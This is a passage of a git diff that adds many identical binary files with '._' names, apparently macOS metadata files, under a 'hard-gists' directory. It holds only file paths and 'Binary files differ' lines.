differ diff --git a/hard-gists/._738fa2eedd9666b78404ed1751336f56 b/hard-gists/._738fa2eedd9666b78404ed1751336f56 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._738fa2eedd9666b78404ed1751336f56 differ diff --git a/hard-gists/._7398239 b/hard-gists/._7398239 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7398239 differ diff --git a/hard-gists/._73a523f0cdbc978c148d1cd9e9d5f0be b/hard-gists/._73a523f0cdbc978c148d1cd9e9d5f0be new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._73a523f0cdbc978c148d1cd9e9d5f0be differ diff --git a/hard-gists/._73c9565719d124af64ff b/hard-gists/._73c9565719d124af64ff new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._73c9565719d124af64ff differ diff --git a/hard-gists/._73efaccda6025883fc66 b/hard-gists/._73efaccda6025883fc66 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._73efaccda6025883fc66 differ diff --git a/hard-gists/._742160 b/hard-gists/._742160 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._742160 differ diff --git a/hard-gists/._7428185 b/hard-gists/._7428185 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7428185 differ diff --git a/hard-gists/._7434f7431d1cc0350dbe b/hard-gists/._7434f7431d1cc0350dbe new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7434f7431d1cc0350dbe differ diff --git a/hard-gists/._7443646 b/hard-gists/._7443646 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7443646 differ diff --git a/hard-gists/._744413 b/hard-gists/._744413 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._744413 differ diff --git a/hard-gists/._744700 b/hard-gists/._744700 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._744700 differ diff --git a/hard-gists/._7447067 b/hard-gists/._7447067 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7447067 differ diff --git a/hard-gists/._745868fb26102298e837 b/hard-gists/._745868fb26102298e837 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._745868fb26102298e837 differ diff --git a/hard-gists/._7466823 b/hard-gists/._7466823 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7466823 differ diff --git a/hard-gists/._748cda36befe17fd1cb0 b/hard-gists/._748cda36befe17fd1cb0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._748cda36befe17fd1cb0 differ diff --git a/hard-gists/._7495576 b/hard-gists/._7495576 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7495576 differ diff --git a/hard-gists/._749788 b/hard-gists/._749788 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._749788 differ diff --git a/hard-gists/._749857 b/hard-gists/._749857 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._749857 differ diff --git a/hard-gists/._74e556cd8a7814a5270079f94950957f b/hard-gists/._74e556cd8a7814a5270079f94950957f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._74e556cd8a7814a5270079f94950957f differ diff --git a/hard-gists/._7521277 b/hard-gists/._7521277 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7521277 differ diff --git a/hard-gists/._7524815 b/hard-gists/._7524815 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7524815 differ diff --git a/hard-gists/._7535869 b/hard-gists/._7535869 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7535869 differ diff --git a/hard-gists/._7540117 b/hard-gists/._7540117 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7540117 differ diff --git a/hard-gists/._754329 b/hard-gists/._754329 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._754329 differ diff --git a/hard-gists/._7543724 b/hard-gists/._7543724 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7543724 differ diff --git a/hard-gists/._75483d51641a0c03bf7c b/hard-gists/._75483d51641a0c03bf7c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._75483d51641a0c03bf7c differ diff --git a/hard-gists/._7551089 b/hard-gists/._7551089 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7551089 differ diff --git a/hard-gists/._755524 b/hard-gists/._755524 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._755524 differ diff --git a/hard-gists/._756b1d8df2d1487497d29b90e81f8068 b/hard-gists/._756b1d8df2d1487497d29b90e81f8068 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._756b1d8df2d1487497d29b90e81f8068 differ diff --git a/hard-gists/._756c86fdad219867c0f4 b/hard-gists/._756c86fdad219867c0f4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._756c86fdad219867c0f4 differ diff --git a/hard-gists/._7571752 b/hard-gists/._7571752 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7571752 differ diff --git a/hard-gists/._757191 b/hard-gists/._757191 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._757191 differ diff --git a/hard-gists/._7578539 b/hard-gists/._7578539 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7578539 differ diff --git a/hard-gists/._7622246 b/hard-gists/._7622246 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7622246 differ diff --git a/hard-gists/._7634c596fe7669a54321 b/hard-gists/._7634c596fe7669a54321 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7634c596fe7669a54321 differ diff --git a/hard-gists/._7639387 b/hard-gists/._7639387 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7639387 differ diff --git a/hard-gists/._764262 b/hard-gists/._764262 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._764262 differ diff --git a/hard-gists/._764746 b/hard-gists/._764746 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._764746 differ diff --git a/hard-gists/._7652081 b/hard-gists/._7652081 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7652081 differ diff --git a/hard-gists/._7653403 b/hard-gists/._7653403 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7653403 differ diff --git a/hard-gists/._7669374 b/hard-gists/._7669374 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7669374 differ diff --git a/hard-gists/._7671688 b/hard-gists/._7671688 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7671688 differ diff --git a/hard-gists/._7680498 b/hard-gists/._7680498 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7680498 differ diff --git a/hard-gists/._7681066 b/hard-gists/._7681066 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7681066 differ diff --git a/hard-gists/._76877c8f262de24becc081ad96759730 b/hard-gists/._76877c8f262de24becc081ad96759730 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._76877c8f262de24becc081ad96759730 differ diff --git a/hard-gists/._7689218 b/hard-gists/._7689218 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7689218 differ diff --git a/hard-gists/._7692685 b/hard-gists/._7692685 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7692685 differ diff --git a/hard-gists/._769687 b/hard-gists/._769687 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._769687 differ diff --git a/hard-gists/._7698491 b/hard-gists/._7698491 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7698491 differ diff --git a/hard-gists/._76fa64ee8380763871ab b/hard-gists/._76fa64ee8380763871ab new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._76fa64ee8380763871ab differ diff --git a/hard-gists/._7703144 b/hard-gists/._7703144 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7703144 differ diff --git a/hard-gists/._7704036 b/hard-gists/._7704036 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7704036 differ diff --git a/hard-gists/._7704845 b/hard-gists/._7704845 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7704845 differ diff --git a/hard-gists/._771052 b/hard-gists/._771052 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._771052 differ diff --git a/hard-gists/._771426542eb36afeb56ce8b163560a4c b/hard-gists/._771426542eb36afeb56ce8b163560a4c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._771426542eb36afeb56ce8b163560a4c differ diff --git a/hard-gists/._7716005 b/hard-gists/._7716005 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7716005 differ diff --git a/hard-gists/._7719245 b/hard-gists/._7719245 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7719245 differ diff --git a/hard-gists/._7719991351343a92aa7b654d2b36c8db b/hard-gists/._7719991351343a92aa7b654d2b36c8db new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7719991351343a92aa7b654d2b36c8db differ diff --git a/hard-gists/._771dabe22b34d59728bddcf87b26cf54 b/hard-gists/._771dabe22b34d59728bddcf87b26cf54 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._771dabe22b34d59728bddcf87b26cf54 differ diff --git a/hard-gists/._7720207 b/hard-gists/._7720207 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7720207 differ diff --git a/hard-gists/._7752095 b/hard-gists/._7752095 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7752095 differ diff --git a/hard-gists/._777789 b/hard-gists/._777789 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._777789 differ diff --git a/hard-gists/._778260a1f0553575be99 b/hard-gists/._778260a1f0553575be99 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._778260a1f0553575be99 differ diff --git a/hard-gists/._7785749 b/hard-gists/._7785749 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7785749 differ diff --git a/hard-gists/._7793e2058c5c9dacb5212c0ac0b18a8a b/hard-gists/._7793e2058c5c9dacb5212c0ac0b18a8a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7793e2058c5c9dacb5212c0ac0b18a8a differ diff --git a/hard-gists/._77a1a4d5506258f3dc1f b/hard-gists/._77a1a4d5506258f3dc1f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._77a1a4d5506258f3dc1f differ diff --git a/hard-gists/._77a4640bb5fcd1e7f038 b/hard-gists/._77a4640bb5fcd1e7f038 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._77a4640bb5fcd1e7f038 differ diff --git a/hard-gists/._77d02d8f2f09e27de08b b/hard-gists/._77d02d8f2f09e27de08b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._77d02d8f2f09e27de08b differ diff --git a/hard-gists/._780003 b/hard-gists/._780003 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._780003 differ diff --git a/hard-gists/._780263 b/hard-gists/._780263 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._780263 differ diff --git a/hard-gists/._780379 b/hard-gists/._780379 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._780379 differ diff --git a/hard-gists/._7804540 b/hard-gists/._7804540 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7804540 differ diff --git a/hard-gists/._7805193 b/hard-gists/._7805193 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7805193 differ diff --git a/hard-gists/._7808564 b/hard-gists/._7808564 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7808564 differ diff --git a/hard-gists/._7812916 b/hard-gists/._7812916 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7812916 differ diff --git a/hard-gists/._781411170d36adb3197cba86b8653136 b/hard-gists/._781411170d36adb3197cba86b8653136 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._781411170d36adb3197cba86b8653136 differ diff --git a/hard-gists/._7814472 b/hard-gists/._7814472 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7814472 differ diff --git a/hard-gists/._781740 b/hard-gists/._781740 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._781740 differ diff --git a/hard-gists/._7820246 b/hard-gists/._7820246 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7820246 differ diff --git a/hard-gists/._783810 b/hard-gists/._783810 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._783810 differ diff --git a/hard-gists/._783993 b/hard-gists/._783993 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._783993 differ diff --git a/hard-gists/._7854404 b/hard-gists/._7854404 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7854404 differ diff --git a/hard-gists/._7870550 b/hard-gists/._7870550 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7870550 differ diff --git a/hard-gists/._7872ef0d472a1a2c037736af21b30cfe b/hard-gists/._7872ef0d472a1a2c037736af21b30cfe new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7872ef0d472a1a2c037736af21b30cfe differ diff --git a/hard-gists/._7880c101557297beeccda05978aeb278 b/hard-gists/._7880c101557297beeccda05978aeb278 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7880c101557297beeccda05978aeb278 differ diff --git a/hard-gists/._78e41a5065136e41bccbffdaab108492 b/hard-gists/._78e41a5065136e41bccbffdaab108492 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._78e41a5065136e41bccbffdaab108492 differ diff --git a/hard-gists/._790687 b/hard-gists/._790687 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._790687 differ diff --git a/hard-gists/._790721 b/hard-gists/._790721 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._790721 differ diff --git a/hard-gists/._7923781 b/hard-gists/._7923781 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7923781 differ diff --git a/hard-gists/._792634 b/hard-gists/._792634 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._792634 differ diff --git a/hard-gists/._793f7ddfc2393ffd0418 b/hard-gists/._793f7ddfc2393ffd0418 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._793f7ddfc2393ffd0418 differ diff --git a/hard-gists/._79405fa0f930e41544b584c4d7864611 b/hard-gists/._79405fa0f930e41544b584c4d7864611 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._79405fa0f930e41544b584c4d7864611 differ diff --git a/hard-gists/._794424 b/hard-gists/._794424 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._794424 differ diff --git a/hard-gists/._7946246 b/hard-gists/._7946246 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7946246 differ diff --git a/hard-gists/._7946961 b/hard-gists/._7946961 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7946961 differ diff --git a/hard-gists/._7948151 b/hard-gists/._7948151 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7948151 differ diff --git a/hard-gists/._795180 b/hard-gists/._795180 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._795180 differ diff --git a/hard-gists/._7955963 b/hard-gists/._7955963 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7955963 differ diff --git a/hard-gists/._7956216 b/hard-gists/._7956216 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7956216 differ diff --git a/hard-gists/._795cc1fd6d0c9069b20204cbd133e36b b/hard-gists/._795cc1fd6d0c9069b20204cbd133e36b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._795cc1fd6d0c9069b20204cbd133e36b differ diff --git a/hard-gists/._7964172 b/hard-gists/._7964172 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7964172 differ diff --git a/hard-gists/._7977492 b/hard-gists/._7977492 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7977492 differ diff --git a/hard-gists/._7977513 b/hard-gists/._7977513 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7977513 differ diff --git a/hard-gists/._79b418a25b374804701069f31b39606c b/hard-gists/._79b418a25b374804701069f31b39606c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._79b418a25b374804701069f31b39606c differ diff --git a/hard-gists/._79d38da49cb4f4a511d74d780e53743a b/hard-gists/._79d38da49cb4f4a511d74d780e53743a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._79d38da49cb4f4a511d74d780e53743a differ diff --git a/hard-gists/._79f9bfb5a7e767b4b756ff1c7dc04eaa b/hard-gists/._79f9bfb5a7e767b4b756ff1c7dc04eaa new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._79f9bfb5a7e767b4b756ff1c7dc04eaa differ diff --git a/hard-gists/._7a3fc9739b7778f6673a458605e18963 b/hard-gists/._7a3fc9739b7778f6673a458605e18963 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7a3fc9739b7778f6673a458605e18963 differ diff --git a/hard-gists/._7a41da7aabb8455d0898db362335e139 b/hard-gists/._7a41da7aabb8455d0898db362335e139 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7a41da7aabb8455d0898db362335e139 differ diff --git a/hard-gists/._7a56a1253355c0f4442d b/hard-gists/._7a56a1253355c0f4442d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7a56a1253355c0f4442d differ diff --git a/hard-gists/._7a9e046470dcf05420d4cdc2b2defd79 b/hard-gists/._7a9e046470dcf05420d4cdc2b2defd79 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7a9e046470dcf05420d4cdc2b2defd79 differ diff --git a/hard-gists/._7ad3a91b1b49fe2682d7 b/hard-gists/._7ad3a91b1b49fe2682d7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7ad3a91b1b49fe2682d7 differ diff --git a/hard-gists/._7adc87d2c4fde941cea6 b/hard-gists/._7adc87d2c4fde941cea6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7adc87d2c4fde941cea6 differ diff --git a/hard-gists/._7ade9bbe4cb46e3cc1b8 b/hard-gists/._7ade9bbe4cb46e3cc1b8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7ade9bbe4cb46e3cc1b8 differ diff --git a/hard-gists/._7aea60f80f6aa9b79cc9509b633557c9 b/hard-gists/._7aea60f80f6aa9b79cc9509b633557c9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7aea60f80f6aa9b79cc9509b633557c9 differ diff --git a/hard-gists/._7b2161871953f0c12615 b/hard-gists/._7b2161871953f0c12615 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7b2161871953f0c12615 differ diff --git a/hard-gists/._7b4a8e2f1fbfd70b4aaea5d205cb35eb b/hard-gists/._7b4a8e2f1fbfd70b4aaea5d205cb35eb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7b4a8e2f1fbfd70b4aaea5d205cb35eb differ diff --git a/hard-gists/._7b64238424175742a8a1 b/hard-gists/._7b64238424175742a8a1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7b64238424175742a8a1 differ diff --git a/hard-gists/._7b75093ec0d5ecc8d95e b/hard-gists/._7b75093ec0d5ecc8d95e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7b75093ec0d5ecc8d95e differ diff --git a/hard-gists/._7b96bba85ed81aba864a b/hard-gists/._7b96bba85ed81aba864a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7b96bba85ed81aba864a differ diff --git a/hard-gists/._7bd4e4bd0a00ac9076986148afc06507 b/hard-gists/._7bd4e4bd0a00ac9076986148afc06507 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7bd4e4bd0a00ac9076986148afc06507 differ diff --git a/hard-gists/._7c18bf7ac5fd4d26cbce b/hard-gists/._7c18bf7ac5fd4d26cbce new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7c18bf7ac5fd4d26cbce differ diff --git a/hard-gists/._7c24802dd9c5e15870b4b56e22135c96 b/hard-gists/._7c24802dd9c5e15870b4b56e22135c96 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7c24802dd9c5e15870b4b56e22135c96 differ diff --git a/hard-gists/._7c2ec1cd01ada79b45fc9a6323934181 b/hard-gists/._7c2ec1cd01ada79b45fc9a6323934181 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7c2ec1cd01ada79b45fc9a6323934181 differ diff --git a/hard-gists/._7c3070bc1c2766633b8ff1d4d51089cf b/hard-gists/._7c3070bc1c2766633b8ff1d4d51089cf new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7c3070bc1c2766633b8ff1d4d51089cf differ diff --git a/hard-gists/._7c395aa3634b2f2a0cb4 b/hard-gists/._7c395aa3634b2f2a0cb4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7c395aa3634b2f2a0cb4 differ diff --git a/hard-gists/._7c3d01ad13b0e7e5985a b/hard-gists/._7c3d01ad13b0e7e5985a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7c3d01ad13b0e7e5985a differ diff --git a/hard-gists/._7c87c10921f0ed0c4f7641b4e14f2071 b/hard-gists/._7c87c10921f0ed0c4f7641b4e14f2071 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7c87c10921f0ed0c4f7641b4e14f2071 differ diff --git a/hard-gists/._7ccd43b1f2f79f1bb23c70920f75cec4 b/hard-gists/._7ccd43b1f2f79f1bb23c70920f75cec4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7ccd43b1f2f79f1bb23c70920f75cec4 differ diff --git a/hard-gists/._7cd166e311992a828675 b/hard-gists/._7cd166e311992a828675 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7cd166e311992a828675 differ diff --git a/hard-gists/._7ceb3e7ef239e282a9d2 b/hard-gists/._7ceb3e7ef239e282a9d2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7ceb3e7ef239e282a9d2 differ diff --git a/hard-gists/._7dc87b8d1dc16b025e7019113cc2de93 b/hard-gists/._7dc87b8d1dc16b025e7019113cc2de93 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7dc87b8d1dc16b025e7019113cc2de93 differ diff --git a/hard-gists/._7e173302952b210aeaf3 b/hard-gists/._7e173302952b210aeaf3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7e173302952b210aeaf3 differ diff --git a/hard-gists/._7e3d537b94c30c782d1b50b712ea79a6 b/hard-gists/._7e3d537b94c30c782d1b50b712ea79a6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7e3d537b94c30c782d1b50b712ea79a6 differ diff --git a/hard-gists/._7e9499ba7e436535fd94 b/hard-gists/._7e9499ba7e436535fd94 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7e9499ba7e436535fd94 differ diff --git a/hard-gists/._7eb39b44eb9e16e59632d25fb3119975 b/hard-gists/._7eb39b44eb9e16e59632d25fb3119975 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7eb39b44eb9e16e59632d25fb3119975 differ diff --git a/hard-gists/._7ec5bf797308279dc587 b/hard-gists/._7ec5bf797308279dc587 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7ec5bf797308279dc587 differ diff --git a/hard-gists/._7eca8b9f0ff5b3bfb742 b/hard-gists/._7eca8b9f0ff5b3bfb742 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7eca8b9f0ff5b3bfb742 differ diff --git a/hard-gists/._7ef2ef722e4520fba09c9f4d83ecc453 b/hard-gists/._7ef2ef722e4520fba09c9f4d83ecc453 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7ef2ef722e4520fba09c9f4d83ecc453 differ diff --git a/hard-gists/._7f1737a750d8246d325e b/hard-gists/._7f1737a750d8246d325e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7f1737a750d8246d325e differ diff --git a/hard-gists/._7f3ab982eb65900c5159 b/hard-gists/._7f3ab982eb65900c5159 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7f3ab982eb65900c5159 differ diff --git a/hard-gists/._7f46e790c9e342d75dcbd9b1deb9d940 b/hard-gists/._7f46e790c9e342d75dcbd9b1deb9d940 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7f46e790c9e342d75dcbd9b1deb9d940 differ diff --git a/hard-gists/._7f4e44a42b8e1f457f77 b/hard-gists/._7f4e44a42b8e1f457f77 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7f4e44a42b8e1f457f77 differ diff --git a/hard-gists/._7f73238f55b7158b6852 b/hard-gists/._7f73238f55b7158b6852 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7f73238f55b7158b6852 differ diff --git a/hard-gists/._7f79c85c8883268660bd b/hard-gists/._7f79c85c8883268660bd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7f79c85c8883268660bd differ diff --git a/hard-gists/._7f9422fc8372b7c4b1a2 b/hard-gists/._7f9422fc8372b7c4b1a2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7f9422fc8372b7c4b1a2 differ diff --git a/hard-gists/._7fd265e5419efe71477ca560801d0130 b/hard-gists/._7fd265e5419efe71477ca560801d0130 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7fd265e5419efe71477ca560801d0130 differ diff --git a/hard-gists/._7fd4c975883074a99864 b/hard-gists/._7fd4c975883074a99864 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._7fd4c975883074a99864 differ diff --git a/hard-gists/._801265 b/hard-gists/._801265 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._801265 differ diff --git a/hard-gists/._8020379 b/hard-gists/._8020379 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8020379 differ diff --git a/hard-gists/._8035611 b/hard-gists/._8035611 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8035611 differ diff --git a/hard-gists/._8036995 b/hard-gists/._8036995 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8036995 differ diff --git a/hard-gists/._8054226 b/hard-gists/._8054226 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8054226 differ diff --git a/hard-gists/._805439 b/hard-gists/._805439 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._805439 differ diff --git a/hard-gists/._8067e173121625e79498 b/hard-gists/._8067e173121625e79498 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8067e173121625e79498 differ diff --git a/hard-gists/._8069261 b/hard-gists/._8069261 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8069261 differ diff --git a/hard-gists/._8074321 b/hard-gists/._8074321 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8074321 differ diff --git a/hard-gists/._8086892 b/hard-gists/._8086892 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8086892 differ diff --git a/hard-gists/._809420 b/hard-gists/._809420 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._809420 differ diff --git a/hard-gists/._8096192 b/hard-gists/._8096192 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._8096192 differ diff --git a/hard-gists/._809693 b/hard-gists/._809693 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._809693 differ diff --git a/hard-gists/._809867d7110acbde87af b/hard-gists/._809867d7110acbde87af new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._809867d7110acbde87af differ diff --git a/hard-gists/._809993 